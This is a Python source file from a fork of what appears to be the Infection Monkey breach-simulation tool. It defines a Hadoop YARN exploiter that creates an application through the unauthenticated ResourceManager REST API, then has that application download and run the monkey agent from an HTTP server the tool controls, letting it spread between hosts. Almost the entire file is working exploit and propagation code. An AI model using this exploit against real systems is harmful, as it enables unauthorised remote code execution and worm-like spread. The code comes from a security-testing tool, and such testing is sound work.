forked from p34709852/monkey
124 lines
4.1 KiB
Python
124 lines
4.1 KiB
Python
"""
|
|
Remote code execution on HADOOP server with YARN and default settings
|
|
Implementation is based on code from
|
|
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
|
|
"""
|
|
|
|
import json
|
|
import posixpath
|
|
import string
|
|
from random import SystemRandom
|
|
|
|
import requests
|
|
|
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|
from infection_monkey.exploit.web_rce import WebRCE
|
|
from infection_monkey.model import (
|
|
HADOOP_LINUX_COMMAND,
|
|
HADOOP_WINDOWS_COMMAND,
|
|
ID_STRING,
|
|
MONKEY_ARG,
|
|
)
|
|
from infection_monkey.utils.commands import build_monkey_commandline
|
|
|
|
|
|
class HadoopExploiter(WebRCE):
|
|
_TARGET_OS_TYPE = ["linux", "windows"]
|
|
_EXPLOITED_SERVICE = "Hadoop"
|
|
HADOOP_PORTS = [("8088", False)]
|
|
# How long we have our http server open for downloads in seconds
|
|
DOWNLOAD_TIMEOUT = 60
|
|
# Random string's length that's used for creating unique app name
|
|
RAN_STR_LEN = 6
|
|
|
|
def __init__(self):
|
|
super(HadoopExploiter, self).__init__()
|
|
|
|
def _exploit_host(self):
|
|
# Try to get exploitable url
|
|
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
|
self.add_vulnerable_urls(urls, True)
|
|
if not self.vulnerable_urls:
|
|
return self.exploit_result
|
|
|
|
try:
|
|
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
|
except KeyError:
|
|
return self.exploit_result
|
|
|
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
|
self.host, dropper_target_path, self.agent_repository
|
|
)
|
|
|
|
try:
|
|
command = self._build_command(dropper_target_path, http_path)
|
|
|
|
if self.exploit(self.vulnerable_urls[0], command):
|
|
self.add_executed_cmd(command)
|
|
self.exploit_result.exploitation_success = True
|
|
self.exploit_result.propagation_success = True
|
|
finally:
|
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
|
http_thread.stop()
|
|
|
|
return self.exploit_result
|
|
|
|
def exploit(self, url, command):
|
|
# Get the newly created application id
|
|
resp = requests.post(
|
|
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
|
)
|
|
resp = json.loads(resp.content)
|
|
app_id = resp["application-id"]
|
|
# Create a random name for our application in YARN
|
|
safe_random = SystemRandom()
|
|
rand_name = ID_STRING + "".join(
|
|
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
|
)
|
|
payload = self._build_payload(app_id, rand_name, command)
|
|
resp = requests.post(
|
|
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
|
)
|
|
return resp.status_code == 202
|
|
|
|
def check_if_exploitable(self, url):
|
|
try:
|
|
resp = requests.post(
|
|
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
|
|
timeout=LONG_REQUEST_TIMEOUT,
|
|
)
|
|
except requests.ConnectionError:
|
|
return False
|
|
return resp.status_code == 200
|
|
|
|
def _build_command(self, path, http_path):
|
|
# Build command to execute
|
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
|
if "linux" in self.host.os["type"]:
|
|
base_command = HADOOP_LINUX_COMMAND
|
|
else:
|
|
base_command = HADOOP_WINDOWS_COMMAND
|
|
|
|
return base_command % {
|
|
"monkey_path": path,
|
|
"http_path": http_path,
|
|
"monkey_type": MONKEY_ARG,
|
|
"parameters": monkey_cmd,
|
|
}
|
|
|
|
@staticmethod
|
|
def _build_payload(app_id, name, command):
|
|
payload = {
|
|
"application-id": app_id,
|
|
"application-name": name,
|
|
"am-container-spec": {
|
|
"commands": {
|
|
"command": command,
|
|
}
|
|
},
|
|
"application-type": "YARN",
|
|
}
|
|
return payload
|